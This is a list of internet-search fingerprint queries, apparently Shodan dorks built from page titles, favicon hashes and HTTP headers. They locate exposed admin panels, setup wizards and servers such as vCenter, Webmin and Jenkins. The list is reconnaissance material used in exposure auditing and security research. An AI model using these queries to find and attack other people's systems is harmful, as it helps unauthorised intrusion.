title:"VMware Site Recovery Manager"
title:"VMware VCenter"
title:"Vodafone Vox UI"
title:"vRealize Operations Manager"
title:"WAMPSERVER Homepage"
"title:\"Wazuh\""
title:"WebCalendar Setup Wizard"
title:"WebcomCo"
title:"Web Configurator"
title:"Web Configurator" html:"ACTi"
title:"Web File Manager"
title:"WebIQ"
title:"Webmin"
title:"Webmodule"
title:"WebPageTest"
title:"Webroot - Login"
title:"Webuzo Installer"
title:"Welcome to Azure Container Instances!"
title:"Welcome to C-Lodop"
title:"Welcome to Movable Type"
title:"Welcome to SmarterStats!"
title:"Welcome to your SWAG instance"
title:"WhatsUp Gold" http.favicon.hash:-2107233094
title:"WIFISKY-7层流控路由器"
title:"Wiki.js Setup"
title:"WorldServer"
title:"WoW-CMS | Installation"
title:"XenMobile"
"title:\"XenMobile - Console\""
title:"XEROX WORKCENTRE"
title:"xfinity"
title:"xnat"
title:"X-UI Login"
title:"Yellowfin Information Collaboration"
title:"Yii Debugger"
title:"Yopass"
title:"Your Own URL Shortener"
title:"YzmCMS"
title:"Zebra"
title:"Zend Server Test Page"
title:"Zenphoto install"
title:"Zeppelin"
title:"Zitadel"
title:"ZoneMinder"
title:"ZWave To MQTT"
title:"контроллер"
title:"孚盟云 "
title:"通达OA"
"Versa-Analytics-Server"
"wasabis3"
"/wd/hub"
"/websm/"
"Wing FTP Server"
"WL-500G"
"WL-520GU"
"workerman"
"WSO2 Carbon Server"
"www-authenticate:"
'www-authenticate: negotiate'
X-Amz-Server-Side-Encryption
"X-AspNetMvc-Version"
"X-AspNet-Version"
"X-ClickHouse-Summary"
"X-Influxdb-"
"X-Jenkins"
"X-Mod-Pagespeed:"
"X-Powered-By: Chamilo"
"X-Powered-By: Express"
"X-Powered-By: PHP"
"X-Recruiting:"
"X-TYPO3-Parsetime: 0ms"